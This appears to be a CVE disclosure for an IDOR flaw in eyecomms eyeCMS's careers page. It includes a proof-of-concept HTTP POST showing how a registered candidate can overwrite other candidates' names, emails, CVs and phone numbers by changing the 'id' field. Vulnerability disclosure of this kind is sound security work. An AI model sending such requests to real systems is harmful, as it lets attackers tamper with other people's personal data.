CVE-2019-17604

[Suggested description]
An Insecure Direct Object Reference (IDOR) vulnerability in eyecomms eyeCMS through 2019-10-15
allows any candidate to change other candidates' personal
information (first name, last name, email, CV, phone number, and all
other personal information) by changing the value of the candidate id
(the id parameter).

[Vendor of Product]
eyecomms

[Affected Product Code Base]
eyeCMS - unknown version (commercial)

[Affected Component]
careers page

[CVE Impact Other]
Changing other candidates' profile information

[Attack Vectors]
to exploit the vulnerability, attacker should register as a candidate.

[PoC]
POST /candidates/profile HTTP/1.1
Host: www.XXX.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpWnwAzZI1eCzzi6
Cookie: XSRF-TOKEN=RBKoyftI3JftAA1TvxuSWI3JftAA1TvxuSWyKOSDwzkiYE9wSt; laravel_session=S1evI3JftAA1TvxuSWyKOSDwzkiYoIGBX4YUfjC7dDHKV; 

------WebKitFormBoundaryNpWnwAzZI1eCzzi6
Content-Disposition: form-data; name="_token"

RBKoyftI3JftAA1TvxuSWI3JftAA1TvxuSWyKOSDwzkiYE9wSt
------WebKitFormBoundaryNpWnwAzZI1eCzzi6
Content-Disposition: form-data; name="id"

4456 <-- change this to any other user id
------WebKitFormBoundaryNpWnwAzZI1eCzzi6
Content-Disposition: form-data; name="first_name"

testt
------WebKitFormBoundaryNpWnwAzZI1eCzzi6--

...etc